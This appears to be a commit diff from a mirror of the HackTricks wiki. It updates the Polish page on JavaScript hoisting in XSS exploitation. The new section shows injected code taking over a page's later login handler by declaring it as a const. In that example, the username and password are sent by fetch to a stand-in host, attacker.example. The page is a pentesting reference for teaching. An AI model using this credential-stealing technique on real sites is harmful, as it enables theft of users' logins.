mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/xss-cross-site-scripting/README.md',
This commit is contained in:
parent
a19b23cf32
commit
79f5065be8
File diff suppressed because it is too large
Load Diff
@ -4,29 +4,29 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
W języku JavaScript opisany jest mechanizm znany jako **Hoisting**, w którym deklaracje zmiennych, funkcji, klas lub importów są koncepcyjnie przenoszone na górę ich zakresu przed wykonaniem kodu. Proces ten jest automatycznie realizowany przez silnik JavaScript, który przetwarza skrypt w wielu przejściach.
|
||||
W języku JavaScript istnieje mechanizm znany jako **Hoisting**, w którym deklaracje zmiennych, funkcji, klas lub importów są konceptualnie podnoszone na początek ich zakresu przed wykonaniem kodu. Proces ten jest wykonywany automatycznie przez silnik JavaScript, który przetwarza skrypt w kilku przejściach.
|
||||
|
||||
Podczas pierwszego przejścia silnik analizuje kod, aby sprawdzić błędy składniowe i przekształca go w abstrakcyjne drzewo składniowe. Faza ta obejmuje hoisting, proces, w którym niektóre deklaracje są przenoszone na górę kontekstu wykonania. Jeśli faza analizy jest udana, co wskazuje na brak błędów składniowych, wykonanie skryptu postępuje.
|
||||
Podczas pierwszego przejścia silnik parsuje kod w celu wykrycia błędów składniowych i przekształca go w abstrakcyjne drzewo składniowe. Ta faza obejmuje hoisting — proces, w którym niektóre deklaracje są przenoszone na początek kontekstu wykonania. Jeśli faza parsowania zakończy się sukcesem, czyli bez błędów składniowych, wykonanie skryptu jest kontynuowane.
|
||||
|
||||
Kluczowe jest zrozumienie, że:
|
||||
|
||||
1. Skrypt musi być wolny od błędów składniowych, aby mogło nastąpić wykonanie. Zasady składni muszą być ściśle przestrzegane.
|
||||
2. Umiejscowienie kodu w skrypcie wpływa na wykonanie z powodu hoistingu, chociaż wykonywany kod może różnić się od jego reprezentacji tekstowej.
|
||||
1. Skrypt musi być pozbawiony błędów składniowych, aby doszło do jego wykonania. Zasady składni muszą być ściśle przestrzegane.
|
||||
2. Umiejscowienie kodu w skrypcie wpływa na wykonanie z powodu hoistingu, choć wykonywany kod może różnić się od jego reprezentacji tekstowej.
|
||||
|
||||
#### Typy hoistingu
|
||||
#### Rodzaje hoistingu
|
||||
|
||||
Na podstawie informacji z MDN, w JavaScript istnieją cztery wyraźne typy hoistingu:
|
||||
Na podstawie informacji z MDN istnieją cztery odrębne rodzaje hoistingu w JavaScript:
|
||||
|
||||
1. **Value Hoisting**: Umożliwia użycie wartości zmiennej w jej zakresie przed linią deklaracji.
|
||||
2. **Declaration Hoisting**: Pozwala na odwoływanie się do zmiennej w jej zakresie przed jej deklaracją bez powodowania `ReferenceError`, ale wartość zmiennej będzie `undefined`.
|
||||
3. Ten typ zmienia zachowanie w swoim zakresie z powodu deklaracji zmiennej przed jej rzeczywistą linią deklaracji.
|
||||
4. Efekty uboczne deklaracji występują przed oceną reszty kodu, który ją zawiera.
|
||||
1. **Value Hoisting**: Umożliwia użycie wartości zmiennej w obrębie jej zakresu przed linią jej deklaracji.
|
||||
2. **Declaration Hoisting**: Pozwala odwołać się do zmiennej w jej zakresie przed deklaracją bez wywołania `ReferenceError`, jednak wartością tej zmiennej będzie `undefined`.
|
||||
3. Ten typ zmienia zachowanie w obrębie zakresu z powodu deklaracji zmiennej przed jej faktyczną linią deklaracji.
|
||||
4. Skutki uboczne deklaracji występują przed oceną reszty kodu, który ją zawiera.
|
||||
|
||||
Szczegółowo, deklaracje funkcji wykazują zachowanie hoistingu typu 1. Słowo kluczowe `var` demonstruje zachowanie typu 2. Deklaracje leksykalne, które obejmują `let`, `const` i `class`, pokazują zachowanie typu 3. Na koniec, instrukcje `import` są unikalne, ponieważ są hoistowane zarówno z zachowaniem typu 1, jak i typu 4.
|
||||
Szczegółowo, deklaracje funkcji wykazują zachowanie typu 1. Słowo kluczowe `var` demonstruje zachowanie typu 2. Deklaracje leksykalne, które obejmują `let`, `const` i `class`, wykazują zachowanie typu 3. Na koniec instrukcje `import` są wyjątkowe — są hoistowane zarówno z zachowaniem typu 1, jak i typu 4.
|
||||
|
||||
## Scenariusze
|
||||
|
||||
Dlatego jeśli masz scenariusze, w których możesz **Wstrzyknąć kod JS po użyciu niezadeklarowanego obiektu**, możesz **naprawić składnię** poprzez jego zadeklarowanie (tak aby twój kod został wykonany zamiast zgłoszenia błędu):
|
||||
W związku z tym, jeśli masz scenariusze, w których możesz **Inject JS code after an undeclared object** is used, możesz **fix the syntax** przez zadeklarowanie go (tak by twój kod został wykonany zamiast wyrzucać błąd):
|
||||
```javascript
|
||||
// The function vulnerableFunction is not defined
|
||||
vulnerableFunction('test', '<INJECTION>');
|
||||
@ -127,11 +127,31 @@ alert(1) -
|
||||
},
|
||||
})
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
## Odniesienia
|
||||
### Zapobiegaj późniejszym deklaracjom, blokując nazwę za pomocą const
|
||||
|
||||
Jeśli możesz wykonać kod zanim zostanie sparsowana deklaracja top-level `function foo(){...}`, zadeklarowanie wiązania leksykalnego o tej samej nazwie (np. `const foo = ...`) zapobiegnie ponownemu związaniu tego identyfikatora przez późniejszą deklarację funkcji. To może być nadużyte w RXSS do przejęcia krytycznych handlerów zdefiniowanych później na stronie:
|
||||
```javascript
|
||||
// Malicious code runs first (e.g., earlier inline <script>)
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value)
|
||||
const user = Trim(FormInput.InputUtente.value)
|
||||
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
|
||||
}
|
||||
|
||||
// Later, the legitimate page tries to declare:
|
||||
function DoLogin(){ /* ... */ } // cannot override the existing const binding
|
||||
```
|
||||
Uwagi
|
||||
- To opiera się na kolejności wykonywania i zakresie globalnym (top-level).
|
||||
- Jeśli twój payload jest wykonywany wewnątrz `eval()`, pamiętaj, że `const/let` wewnątrz `eval` mają zasięg blokowy i nie utworzą wiązań globalnych. Wstrzyknij nowy element `<script>` z kodem, aby ustanowić prawdziwy globalny `const`.
|
||||
|
||||
## Źródła
|
||||
|
||||
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
|
||||
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
|
||||
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
|
||||
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user